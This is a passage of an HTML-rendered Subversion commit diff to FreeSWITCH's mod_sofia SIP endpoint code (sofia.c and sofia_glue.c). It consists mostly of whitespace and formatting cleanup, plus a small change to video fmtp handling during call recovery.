</del><ins>+                        }
+
</ins><span class="cx">                         tmp = sofia_overcome_sip_uri_weakness(session, url, transport, SWITCH_TRUE, NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">                         if ((at = strchr(tmp, '@'))) {
</span><span class="cx">                                 url = switch_core_session_sprintf(session, &quot;sip:%s%s&quot;, user, at);
</span><span class="cx">                         }
</span><span class="lines">@@ -6002,43 +6023,41 @@
</span><span class="cx">                         if (url) {
</span><span class="cx">                                 const char *brackets = NULL;
</span><span class="cx">                                 const char *proto = NULL;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 brackets = strchr(url, '&gt;');
</span><span class="cx">                                 proto = switch_stristr(&quot;transport=&quot;, url);
</span><span class="cx">                                 tech_pvt-&gt;reply_contact = switch_core_session_sprintf(session, &quot;%s%s%s%s%s&quot;,
</span><span class="cx">                                                                                                                                           brackets ? &quot;&quot; : &quot;&lt;&quot;, url,
</span><span class="cx">                                                                                                                                           proto ? &quot;&quot; : &quot;;transport=&quot;,
</span><del>-                                                                                                                                          proto ? &quot;&quot; : sofia_glue_transport2str(transport),
-                                                                                                                                          brackets ? &quot;&quot; : &quot;&gt;&quot;);
</del><ins>+                                                                                                                                          proto ? &quot;&quot; : sofia_glue_transport2str(transport), brackets ? &quot;&quot; : &quot;&gt;&quot;);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 switch_channel_hangup(tech_pvt-&gt;channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 } else {
</span><span class="cx">                         const char *url = NULL;
</span><span class="cx">                         if (sofia_glue_check_nat(profile, tech_pvt-&gt;remote_ip)) {
</span><del>-                        url = (sofia_glue_transport_has_tls(transport)) ? profile-&gt;tls_public_url : profile-&gt;public_url;
-                        } else { 
</del><ins>+                                url = (sofia_glue_transport_has_tls(transport)) ? profile-&gt;tls_public_url : profile-&gt;public_url;
+                        } else {
</ins><span class="cx">                                 url = (sofia_glue_transport_has_tls(transport)) ? profile-&gt;tls_url : profile-&gt;url;
</span><del>-                        }                        
-                        
</del><ins>+                        }
+
</ins><span class="cx">                         if (url) {
</span><span class="cx">                                 const char *brackets = NULL;
</span><span class="cx">                                 const char *proto = NULL;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 brackets = strchr(url, '&gt;');
</span><span class="cx">                                 proto = switch_stristr(&quot;transport=&quot;, url);
</span><span class="cx">                                 tech_pvt-&gt;reply_contact = switch_core_session_sprintf(session, &quot;%s%s%s%s%s&quot;,
</span><span class="cx">                                                                                                                                           brackets ? &quot;&quot; : &quot;&lt;&quot;, url,
</span><span class="cx">                                                                                                                                           proto ? &quot;&quot; : &quot;;transport=&quot;,
</span><del>-                                                                                                                                          proto ? &quot;&quot; : sofia_glue_transport2str(transport),
-                                                                                                                                          brackets ? &quot;&quot; : &quot;&gt;&quot;);
</del><ins>+                                                                                                                                          proto ? &quot;&quot; : sofia_glue_transport2str(transport), brackets ? &quot;&quot; : &quot;&gt;&quot;);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 switch_channel_hangup(tech_pvt-&gt;channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sofia_glue_check_nat(profile, tech_pvt-&gt;remote_ip)) {
</span><span class="cx">                 tech_pvt-&gt;user_via = sofia_glue_create_external_via(session, profile, tech_pvt-&gt;transport);
</span><span class="cx">         }
</span><span class="lines">@@ -6139,8 +6158,8 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if ((call_info = sip_call_info(sip))) {
</span><del>-                call_info_str = sip_header_as_string(nh-&gt;nh_home, (void *) call_info); 
-                if (call_info-&gt;ci_params &amp;&amp; (msg_params_find(call_info-&gt;ci_params , &quot;answer-after=0&quot;))) {
</del><ins>+                call_info_str = sip_header_as_string(nh-&gt;nh_home, (void *) call_info);
+                if (call_info-&gt;ci_params &amp;&amp; (msg_params_find(call_info-&gt;ci_params, &quot;answer-after=0&quot;))) {
</ins><span class="cx">                         switch_channel_set_variable(channel, &quot;sip_auto_answer_detected&quot;, &quot;true&quot;);
</span><span class="cx">                 }
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;sip_call_info&quot;, call_info_str);
</span><span class="lines">@@ -6156,7 +6175,7 @@
</span><span class="cx">                 free(tmp);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sip-&gt;sip_request-&gt;rq_url-&gt;url_params) {
</span><span class="cx">                 gw_name = sofia_glue_find_parameter(sip-&gt;sip_request-&gt;rq_url-&gt;url_params, &quot;gw=&quot;);
</span><span class="cx">         }
</span><span class="lines">@@ -6185,7 +6204,7 @@
</span><span class="cx"> 
</span><span class="cx">                         if (gateway-&gt;ib_vars) {
</span><span class="cx">                                 switch_event_header_t *hp;
</span><del>-                                for(hp = gateway-&gt;ib_vars-&gt;headers; hp; hp = hp-&gt;next) {
</del><ins>+                                for (hp = gateway-&gt;ib_vars-&gt;headers; hp; hp = hp-&gt;next) {
</ins><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s setting variable [%s]=[%s]\n&quot;,
</span><span class="cx">                                                                           switch_channel_get_name(channel), hp-&gt;name, hp-&gt;value);
</span><span class="cx">                                         switch_channel_set_variable(channel, hp-&gt;name, hp-&gt;value);
</span><span class="lines">@@ -6202,7 +6221,7 @@
</span><span class="cx">                 char *str;
</span><span class="cx">                 char *p = NULL;
</span><span class="cx">                 const char *user = NULL, *host = NULL;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sip-&gt;sip_to &amp;&amp; sip-&gt;sip_to-&gt;a_url) {
</span><span class="cx">                         user = sip-&gt;sip_to-&gt;a_url-&gt;url_user;
</span><span class="cx">                         host = sip-&gt;sip_to-&gt;a_url-&gt;url_host;
</span><span class="lines">@@ -6210,8 +6229,10 @@
</span><span class="cx"> 
</span><span class="cx">                 if (!user || !host) {
</span><span class="cx">                         if (sip-&gt;sip_from &amp;&amp; sip-&gt;sip_from-&gt;a_url) {
</span><del>-                                if (!user) user = sip-&gt;sip_from-&gt;a_url-&gt;url_user;
-                                if (!host) host = sip-&gt;sip_from-&gt;a_url-&gt;url_host;
</del><ins>+                                if (!user)
+                                        user = sip-&gt;sip_from-&gt;a_url-&gt;url_user;
+                                if (!host)
+                                        host = sip-&gt;sip_from-&gt;a_url-&gt;url_host;
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -6219,10 +6240,12 @@
</span><span class="cx">                         if ((p = strchr(call_info_str, ';'))) {
</span><span class="cx">                                 p++;
</span><span class="cx">                         }
</span><del>-                        
-                        sql = switch_mprintf(&quot;select call_id from sip_dialogs where call_info='%q' and sip_from_user='%q' and sip_from_host='%q' and call_id is not null&quot;, 
-                                                                 switch_str_nil(p), user, host);
</del><span class="cx"> 
</span><ins>+                        sql =
+                                switch_mprintf
+                                (&quot;select call_id from sip_dialogs where call_info='%q' and sip_from_user='%q' and sip_from_host='%q' and call_id is not null&quot;,
+                                 switch_str_nil(p), user, host);
+
</ins><span class="cx">                         if ((str = sofia_glue_execute_sql2str(profile, profile-&gt;ireg_mutex, sql, cid, sizeof(cid)))) {
</span><span class="cx">                                 bnh = nua_handle_by_call_id(nua, str);
</span><span class="cx">                         }
</span><span class="lines">@@ -6230,7 +6253,7 @@
</span><span class="cx">                         if (mod_sofia_globals.debug_sla &gt; 1) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;PICK SQL %s [%s] [%s] %d\n&quot;, sql, str, cid, !!bnh);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         free(sql);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -6263,7 +6286,7 @@
</span><span class="cx">                                         if (switch_core_session_check_interface(b_session, sofia_endpoint_interface)) {
</span><span class="cx">                                                 b_tech_pvt = switch_core_session_get_private(b_session);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((uuid = switch_channel_get_variable(b_channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
</span><span class="cx">                                                 switch_channel_set_variable(b_channel, &quot;presence_call_info&quot;, NULL);
</span><span class="cx">                                                 switch_channel_set_variable(b_channel, &quot;presence_call_info_full&quot;, NULL);
</span><span class="lines">@@ -6271,10 +6294,10 @@
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 uuid = switch_core_session_get_uuid(b_session);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (uuid) {
</span><span class="cx">                                                 switch_core_session_t *c_session = NULL;
</span><del>-                                                int do_conf = 0;                                        
</del><ins>+                                                int do_conf = 0;
</ins><span class="cx">                                                 uuid = switch_core_session_strdup(b_session, uuid);
</span><span class="cx"> 
</span><span class="cx">                                                 if ((c_session = switch_core_session_locate(uuid))) {
</span><span class="lines">@@ -6284,13 +6307,13 @@
</span><span class="cx">                                                         if (switch_core_session_check_interface(c_session, sofia_endpoint_interface)) {
</span><span class="cx">                                                                 c_tech_pvt = switch_core_session_get_private(c_session);
</span><span class="cx">                                                         }
</span><del>-                                                                
</del><span class="cx"> 
</span><del>-                                                        if (!one_leg &amp;&amp; 
-                                                                (!b_tech_pvt || !sofia_test_flag(b_tech_pvt, TFLAG_SIP_HOLD)) &amp;&amp; 
</del><ins>+
+                                                        if (!one_leg &amp;&amp;
+                                                                (!b_tech_pvt || !sofia_test_flag(b_tech_pvt, TFLAG_SIP_HOLD)) &amp;&amp;
</ins><span class="cx">                                                                 (!c_tech_pvt || !sofia_test_flag(c_tech_pvt, TFLAG_SIP_HOLD))) {
</span><span class="cx">                                                                 char *ext = switch_core_session_sprintf(b_session, &quot;answer,conference:%s@sla+flags{mintwo}&quot;, uuid);
</span><del>-                                                                
</del><ins>+
</ins><span class="cx">                                                                 switch_channel_set_flag(c_channel, CF_REDIRECT);
</span><span class="cx">                                                                 switch_ivr_session_transfer(b_session, ext, &quot;inline&quot;, NULL);
</span><span class="cx">                                                                 switch_ivr_session_transfer(c_session, ext, &quot;inline&quot;, NULL);
</span><span class="lines">@@ -6299,7 +6322,7 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                         switch_core_session_rwunlock(c_session);
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (do_conf) {
</span><span class="cx">                                                         destination_number = switch_core_session_sprintf(b_session, &quot;answer,conference:%s@sla+flags{mintwo}&quot;, uuid);
</span><span class="cx">                                                 } else {
</span><span class="lines">@@ -6345,7 +6368,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if ((privacy = sip_privacy(sip))) {
</span><del>-                        char *full_priv_header = sip_header_as_string(nh-&gt;nh_home, (void *) privacy); 
</del><ins>+                        char *full_priv_header = sip_header_as_string(nh-&gt;nh_home, (void *) privacy);
</ins><span class="cx">                         if (!zstr(full_priv_header)) {
</span><span class="cx">                                 switch_channel_set_variable(channel, &quot;sip_Privacy&quot;, full_priv_header);
</span><span class="cx">                         }
</span><span class="lines">@@ -6373,8 +6396,8 @@
</span><span class="cx">                         } else if (!strncasecmp(un-&gt;un_name, &quot;X-&quot;, 2) || !strncasecmp(un-&gt;un_name, &quot;P-&quot;, 2)) {
</span><span class="cx">                                 if (!zstr(un-&gt;un_value)) {
</span><span class="cx">                                         char new_name[512] = &quot;&quot;;
</span><del>-                                        int reps  = 0;
-                                        for(;;) {
</del><ins>+                                        int reps = 0;
+                                        for (;;) {
</ins><span class="cx">                                                 char postfix[25] = &quot;&quot;;
</span><span class="cx">                                                 if (reps &gt; 0) {
</span><span class="cx">                                                         switch_snprintf(postfix, sizeof(postfix), &quot;-%d&quot;, reps);
</span><span class="lines">@@ -6392,10 +6415,10 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_channel_set_caller_profile(channel, tech_pvt-&gt;caller_profile);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(sofia_private = malloc(sizeof(*sofia_private)))) {
</span><span class="cx">                 abort();
</span><span class="cx">         }
</span><span class="lines">@@ -6403,7 +6426,7 @@
</span><span class="cx">         memset(sofia_private, 0, sizeof(*sofia_private));
</span><span class="cx">         sofia_private-&gt;is_call++;
</span><span class="cx">         tech_pvt-&gt;sofia_private = sofia_private;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((profile-&gt;pres_type)) {
</span><span class="cx">                 sofia_presence_set_chat_hash(tech_pvt, sip);
</span><span class="cx">         }
</span><span class="lines">@@ -6460,7 +6483,7 @@
</span><span class="cx">                         if (sip-&gt;sip_contact) {
</span><span class="cx">                                 full_contact = sip_header_as_string(nua_handle_home(tech_pvt-&gt;nh), (void *) sip-&gt;sip_contact);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (call_info_str &amp;&amp; switch_stristr(&quot;appearance&quot;, call_info_str)) {
</span><span class="cx">                                 switch_channel_set_variable(channel, &quot;presence_call_info_full&quot;, call_info_str);
</span><span class="cx">                                 if ((p = strchr(call_info_str, ';'))) {
</span><span class="lines">@@ -6476,16 +6499,16 @@
</span><span class="cx">                                                                  &quot;values('%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q')&quot;,
</span><span class="cx">                                                                  call_id,
</span><span class="cx">                                                                  tech_pvt-&gt;sofia_private-&gt;uuid,
</span><del>-                                                                 to_user, to_host, dialog_from_user, dialog_from_host, 
</del><ins>+                                                                 to_user, to_host, dialog_from_user, dialog_from_host,
</ins><span class="cx">                                                                  contact_user, contact_host, &quot;confirmed&quot;, &quot;inbound&quot;, user_agent,
</span><del>-                                                                 profile-&gt;name, mod_sofia_globals.hostname, switch_str_nil(full_contact), 
</del><ins>+                                                                 profile-&gt;name, mod_sofia_globals.hostname, switch_str_nil(full_contact),
</ins><span class="cx">                                                                  switch_str_nil(presence_id), switch_str_nil(presence_data), switch_str_nil(p));
</span><span class="cx"> 
</span><span class="cx">                         switch_assert(sql);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         sofia_glue_actually_execute_sql(profile, sql, profile-&gt;ireg_mutex);
</span><span class="cx">                         switch_safe_free(sql);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (is_nat) {
</span><span class="lines">@@ -6500,7 +6523,8 @@
</span><span class="cx">                 switch_mutex_lock(profile-&gt;flag_mutex);
</span><span class="cx">                 switch_core_session_limit(sess_count - 10);
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, &quot;LUKE: I'm hit, but not bad.\n&quot;);
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, &quot;LUKE'S VOICE: Artoo, see what you can do with it. Hang on back there....\n&quot;
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT,
+                                                  &quot;LUKE'S VOICE: Artoo, see what you can do with it. Hang on back there....\n&quot;
</ins><span class="cx">                                                   &quot;Green laserfire moves past the beeping little robot as his head turns.  &quot;
</span><span class="cx">                                                   &quot;After a few beeps and a twist of his mechanical arm,\n&quot;
</span><span class="cx">                                                   &quot;Artoo reduces the max sessions to %d thus, saving the switch from certain doom.\n&quot;, sess_count - 10);
</span><span class="lines">@@ -6519,7 +6543,7 @@
</span><span class="cx">         nua_respond(nh, 503, &quot;Maximum Calls In Progress&quot;, SIPTAG_RETRY_AFTER_STR(&quot;300&quot;), TAG_END());
</span><span class="cx">         return;
</span><span class="cx"> 
</span><del>- fail:
</del><ins>+  fail:
</ins><span class="cx">         profile-&gt;ib_failed_calls++;
</span><span class="cx">         return;
</span><span class="cx"> 
</span><span class="lines">@@ -6527,7 +6551,8 @@
</span><span class="cx"> 
</span><span class="cx"> void sofia_handle_sip_i_options(int status,
</span><span class="cx">                                                                 char const *phrase,
</span><del>-                                                                nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[])
</del><ins>+                                                                nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                                tagi_t tags[])
</ins><span class="cx"> {
</span><span class="cx">         nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
</span><span class="cx"> }
</span><span class="lines">@@ -6540,13 +6565,13 @@
</span><span class="cx">         if (aleg &amp;&amp; bleg &amp;&amp; switch_core_session_compare(aleg, bleg)) {
</span><span class="cx">                 switch_channel_t *channel = switch_core_session_get_channel(bleg);
</span><span class="cx">                 const char *ua = switch_channel_get_variable(channel, &quot;sip_user_agent&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 a_tech_pvt = (private_object_t *) switch_core_session_get_private(aleg);
</span><span class="cx">                 b_tech_pvt = (private_object_t *) switch_core_session_get_private(bleg);
</span><span class="cx"> 
</span><span class="cx">                 if (b_tech_pvt &amp;&amp; a_tech_pvt &amp;&amp; a_tech_pvt-&gt;caller_profile) {
</span><span class="cx">                         switch_caller_profile_t *acp = a_tech_pvt-&gt;caller_profile;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (ua &amp;&amp; switch_stristr(&quot;snom&quot;, ua)) {
</span><span class="cx">                                 if (zstr(acp-&gt;caller_id_name)) {
</span><span class="cx">                                         snprintf(message, sizeof(message), &quot;From:\r\nTo: %s\r\n&quot;, acp-&gt;caller_id_number);
</span><span class="lines">@@ -6555,8 +6580,7 @@
</span><span class="cx">                                 }
</span><span class="cx">                                 nua_info(b_tech_pvt-&gt;nh,
</span><span class="cx">                                                  SIPTAG_CONTENT_TYPE_STR(&quot;message/sipfrag;version=2.0&quot;),
</span><del>-                                                 TAG_IF(!zstr(b_tech_pvt-&gt;user_via), SIPTAG_VIA_STR(b_tech_pvt-&gt;user_via)),
-                                                 SIPTAG_PAYLOAD_STR(message), TAG_END());
</del><ins>+                                                 TAG_IF(!zstr(b_tech_pvt-&gt;user_via), SIPTAG_VIA_STR(b_tech_pvt-&gt;user_via)), SIPTAG_PAYLOAD_STR(message), TAG_END());
</ins><span class="cx">                         } else if (ua &amp;&amp; switch_stristr(&quot;polycom&quot;, ua)) {
</span><span class="cx">                                 if (zstr(acp-&gt;caller_id_name)) {
</span><span class="cx">                                         snprintf(message, sizeof(message), &quot;P-Asserted-Identity: \&quot;%s\&quot; &lt;%s&gt;&quot;, acp-&gt;caller_id_number, acp-&gt;caller_id_number);
</span><span class="lines">@@ -6575,8 +6599,7 @@
</span><span class="cx">                                                            SOATAG_REUSE_REJECTED(1),
</span><span class="cx">                                                            SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;),
</span><span class="cx">                                                            TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
</span><del>-                                                           TAG_IF(!zstr(b_tech_pvt-&gt;user_via), SIPTAG_VIA_STR(b_tech_pvt-&gt;user_via)),
-                                                           TAG_END());
</del><ins>+                                                           TAG_IF(!zstr(b_tech_pvt-&gt;user_via), SIPTAG_VIA_STR(b_tech_pvt-&gt;user_via)), TAG_END());
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         nua_update(b_tech_pvt-&gt;nh,
</span><span class="cx">                                                            NUTAG_MEDIA_ENABLE(0),
</span><span class="lines">@@ -6584,8 +6607,7 @@
</span><span class="cx">                                                            SIPTAG_CONTENT_TYPE_STR(&quot;application/sdp&quot;),
</span><span class="cx">                                                            SIPTAG_PAYLOAD_STR(b_tech_pvt-&gt;local_sdp_str),
</span><span class="cx">                                                            TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
</span><del>-                                                           TAG_IF(!zstr(b_tech_pvt-&gt;user_via), SIPTAG_VIA_STR(b_tech_pvt-&gt;user_via)),
-                                                           TAG_END());
</del><ins>+                                                           TAG_IF(!zstr(b_tech_pvt-&gt;user_via), SIPTAG_VIA_STR(b_tech_pvt-&gt;user_via)), TAG_END());
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_sofiasofia_gluec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_glue.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_glue.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_glue.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -82,7 +82,7 @@
</span><span class="cx">                                         &quot;v=0\n&quot;
</span><span class="cx">                                         &quot;o=%s %010u %010u IN %s %s\n&quot;
</span><span class="cx">                                         &quot;s=%s\n&quot;
</span><del>-                                        &quot;c=IN %s %s\n&quot; 
</del><ins>+                                        &quot;c=IN %s %s\n&quot;
</ins><span class="cx">                                         &quot;t=0 0\n&quot;
</span><span class="cx">                                         &quot;m=image %d udptl t38\n&quot;
</span><span class="cx">                                         &quot;a=T38MaxBitRate:%d\n&quot;
</span><span class="lines">@@ -94,9 +94,8 @@
</span><span class="cx">                                         &quot;a=T38FaxMaxDatagram:%d\n&quot;
</span><span class="cx">                                         &quot;a=T38FaxUdpEC:%s\n&quot;
</span><span class="cx">                                         &quot;a=T38VendorInfo:%s\n&quot;,
</span><del>-                                        
</del><span class="cx">                                         username,
</span><del>-                                        tech_pvt-&gt;owner_id, 
</del><ins>+                                        tech_pvt-&gt;owner_id,
</ins><span class="cx">                                         tech_pvt-&gt;session_id,
</span><span class="cx">                                         family,
</span><span class="cx">                                         ip,
</span><span class="lines">@@ -104,18 +103,13 @@
</span><span class="cx">                                         family,
</span><span class="cx">                                         ip,
</span><span class="cx">                                         port,
</span><del>-                                        
</del><span class="cx">                                         t38_options-&gt;T38MaxBitRate,
</span><span class="cx">                                         t38_options-&gt;T38FaxFillBitRemoval ? &quot;a=T38FaxFillBitRemoval\n&quot; : &quot;&quot;,
</span><span class="cx">                                         t38_options-&gt;T38FaxTranscodingMMR ? &quot;a=T38FaxTranscodingMMR\n&quot; : &quot;&quot;,
</span><span class="cx">                                         t38_options-&gt;T38FaxTranscodingJBIG ? &quot;a=T38FaxTranscodingJBIG\n&quot; : &quot;&quot;,
</span><span class="cx">                                         t38_options-&gt;T38FaxRateManagement,
</span><del>-                                        t38_options-&gt;T38FaxMaxBuffer,
-                                        t38_options-&gt;T38FaxMaxDatagram,
-                                        t38_options-&gt;T38FaxUdpEC,
-                                        t38_options-&gt;T38VendorInfo
-                                        );
-        
</del><ins>+                                        t38_options-&gt;T38FaxMaxBuffer, t38_options-&gt;T38FaxMaxDatagram, t38_options-&gt;T38FaxUdpEC, t38_options-&gt;T38VendorInfo);
+
</ins><span class="cx">         sofia_glue_tech_set_local_sdp(tech_pvt, buf, SWITCH_TRUE);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -183,12 +177,12 @@
</span><span class="cx"> 
</span><span class="cx">         tech_pvt-&gt;session_id++;
</span><span class="cx"> 
</span><del>-        if ((tech_pvt-&gt;profile-&gt;ndlb &amp; PFLAG_NDLB_SENDRECV_IN_SESSION) || 
-                ((var_val=switch_channel_get_variable(tech_pvt-&gt;channel, &quot;ndlb_sendrecv_in_session&quot;)) &amp;&amp; switch_true(var_val))) {
</del><ins>+        if ((tech_pvt-&gt;profile-&gt;ndlb &amp; PFLAG_NDLB_SENDRECV_IN_SESSION) ||
+                ((var_val = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;ndlb_sendrecv_in_session&quot;)) &amp;&amp; switch_true(var_val))) {
</ins><span class="cx">                 switch_snprintf(srbuf, sizeof(srbuf), &quot;a=%s\n&quot;, sr);
</span><span class="cx">                 sr = NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         family = strchr(ip, ':') ? &quot;IP6&quot; : &quot;IP4&quot;;
</span><span class="cx">         switch_snprintf(buf, sizeof(buf),
</span><span class="cx">                                         &quot;v=0\n&quot;
</span><span class="lines">@@ -196,12 +190,10 @@
</span><span class="cx">                                         &quot;s=%s\n&quot;
</span><span class="cx">                                         &quot;c=IN %s %s\n&quot; &quot;t=0 0\n&quot;
</span><span class="cx">                                         &quot;%sm=audio %d RTP/%sAVP&quot;,
</span><del>-                                        username,
-                                        tech_pvt-&gt;owner_id, tech_pvt-&gt;session_id, family, ip, username, family, ip, 
-                                        srbuf,
-                                        port,
-                                        (!zstr(tech_pvt-&gt;local_crypto_key) 
-                                        &amp;&amp; sofia_test_flag(tech_pvt,TFLAG_SECURE)) ? &quot;S&quot; : &quot;&quot;);
</del><ins>+                                        username, tech_pvt-&gt;owner_id, tech_pvt-&gt;session_id, family, ip, username, family, ip, srbuf, port, (!zstr(tech_pvt-&gt;local_crypto_key)
+                                                                                                                                                                                                                                                &amp;&amp; sofia_test_flag(tech_pvt,
+                                                                                                                                                                                                                                                                                   TFLAG_SECURE)) ?
+                                        &quot;S&quot; : &quot;&quot;);
</ins><span class="cx"> 
</span><span class="cx">         if (tech_pvt-&gt;rm_encoding) {
</span><span class="cx">                 switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot; %d&quot;, tech_pvt-&gt;pt);
</span><span class="lines">@@ -293,14 +285,14 @@
</span><span class="cx">         if (append_audio) {
</span><span class="cx">                 switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot;%s%s&quot;, append_audio, end_of(append_audio) == '\n' ? &quot;&quot; : &quot;\n&quot;);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (ptime) {
</span><span class="cx">                 switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot;a=ptime:%d\n&quot;, ptime);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (sr) {
</span><span class="cx">                 switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot;a=%s\n&quot;, sr);
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         if (!zstr(tech_pvt-&gt;local_crypto_key) &amp;&amp; sofia_test_flag(tech_pvt, TFLAG_SECURE)) {
</span><span class="cx">                 switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot;a=crypto:%s\n&quot;, tech_pvt-&gt;local_crypto_key);
</span><span class="lines">@@ -344,7 +336,7 @@
</span><span class="cx"> 
</span><span class="cx">                 if ((v_port = tech_pvt-&gt;adv_sdp_video_port)) {
</span><span class="cx">                         switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot;m=video %d RTP/AVP&quot;, v_port);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /*****************************/
</span><span class="cx">                         if (tech_pvt-&gt;video_rm_encoding) {
</span><span class="cx">                                 sofia_glue_tech_set_video_codec(tech_pvt, 0);
</span><span class="lines">@@ -374,23 +366,28 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot;\n&quot;);
</span><del>-
</del><ins>+                        
</ins><span class="cx">                         if (tech_pvt-&gt;video_rm_encoding) {
</span><span class="cx">                                 const char *of;
</span><span class="cx">                                 rate = tech_pvt-&gt;video_rm_rate;
</span><span class="cx">                                 switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot;a=rtpmap:%d %s/%ld\n&quot;, tech_pvt-&gt;video_pt, tech_pvt-&gt;video_rm_encoding,
</span><span class="cx">                                                                 tech_pvt-&gt;video_rm_rate);
</span><span class="cx"> 
</span><del>-                                pass_fmtp = NULL;
</del><ins>+                                if (sofia_test_flag(tech_pvt, TFLAG_RECOVERING)) {
+                                        pass_fmtp = tech_pvt-&gt;video_rm_fmtp;
+                                } else {
</ins><span class="cx"> 
</span><del>-                                if (switch_channel_get_variable(tech_pvt-&gt;channel, SWITCH_SIGNAL_BOND_VARIABLE)) {
-                                        if ((of = switch_channel_get_variable_partner(tech_pvt-&gt;channel, &quot;sip_video_fmtp&quot;))) {
-                                                pass_fmtp = of;
</del><ins>+                                        pass_fmtp = NULL;
+
+                                        if (switch_channel_get_variable(tech_pvt-&gt;channel, SWITCH_SIGNAL_BOND_VARIABLE)) {
+                                                if ((of = switch_channel_get_variable_partner(tech_pvt-&gt;channel, &quot;sip_video_fmtp&quot;))) {
+                                                        pass_fmtp = of;
+                                                }
</ins><span class="cx">                                         }
</span><del>-                                }
</del><span class="cx"> 
</span><del>-                                if (ov_fmtp) {
-                                        pass_fmtp = ov_fmtp;
</del><ins>+                                        if (ov_fmtp) {
+                                                pass_fmtp = ov_fmtp;
+                                        }
</ins><span class="cx">                                 }
